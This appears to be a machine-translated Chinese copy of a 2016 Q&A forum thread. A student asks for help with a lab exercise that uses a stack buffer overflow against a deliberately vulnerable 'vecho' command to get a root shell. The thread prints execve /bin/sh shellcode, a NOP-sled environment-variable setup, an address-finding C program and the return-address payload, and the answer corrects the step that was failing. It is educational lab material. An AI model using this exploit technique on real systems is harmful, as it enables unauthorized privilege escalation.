使用vecho进行缓冲区溢出攻击

时间:2016-04-03 18:58:52

标签: linux buffer buffer-overflow

我正在做一个实验室,要求我们使用一个名为vecho的内置易受攻击命令(与echo相同的函数)执行缓冲区溢出以获得root权限。然而,无论我尝试什么,我都无法让它发挥作用。

    .section .text
 .globl _start
_start:
     xor  %eax, %eax    // your comments go here
     push %eax       // and here, and so on...
     push $0x68732f2f
     push $0x6e69622f
     mov  %esp, %ebx
     push %eax
  mov  %esp, %ecx
  push %ebx
  mov  %eax, %edx
  mov  $0xb, %al
  int  $0x80

我们通过执行

将其加载到保存为egg的环境变量中
export EGG=$(<shellcode.bin)

然后我们制作一个雪橇

SLED=`python -c "print '\x90' * 100"`

将雪橇添加到变量

export EGG=$SLED$EGG

然后,当我们使用此

运行vecho时,我们会找到EGG所处的地址
#include<stdio.h>
   #include<stdlib.h>
   #include<string.h>
   int main(int argc, char** argv){
       char *ptr;
       if(argc < 3){
           printf("Usage:%s<environmentvar><targetprogramname>\n", 
             argv[0]);
           exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
    printf("%s will be at %p\n", argv[1], ptr);
}

然后我们通过做这样的事情

以小端形式创建一个地址变量
ADDRESS=echo -en "\xff\xff\xff\xbf"

一个填充变量,其字符足以将地址推入eip然后运行

vecho $PADDING$ADDRESS

但无论我尝试什么,如果填充太小,我会得到一个成功的打印,如果填充太长则会出现seg错误,而在中间有非法指令。我觉得这个非法的指令点很重要,但我不能让它实际运行shell代码。

1 个答案:

答案 0 :(得分:0)

你几乎得到了它。该指令是非法的,因为它看起来像你正在分配echo -en&#34; \ xff \ xff \ xff \ xbf&#34;讲话。你想要做的是:

ADDRESS=`echo -en "\xff\xff\xff\xbf"`

这会将结果分配给ADDRESS而不是整个命令。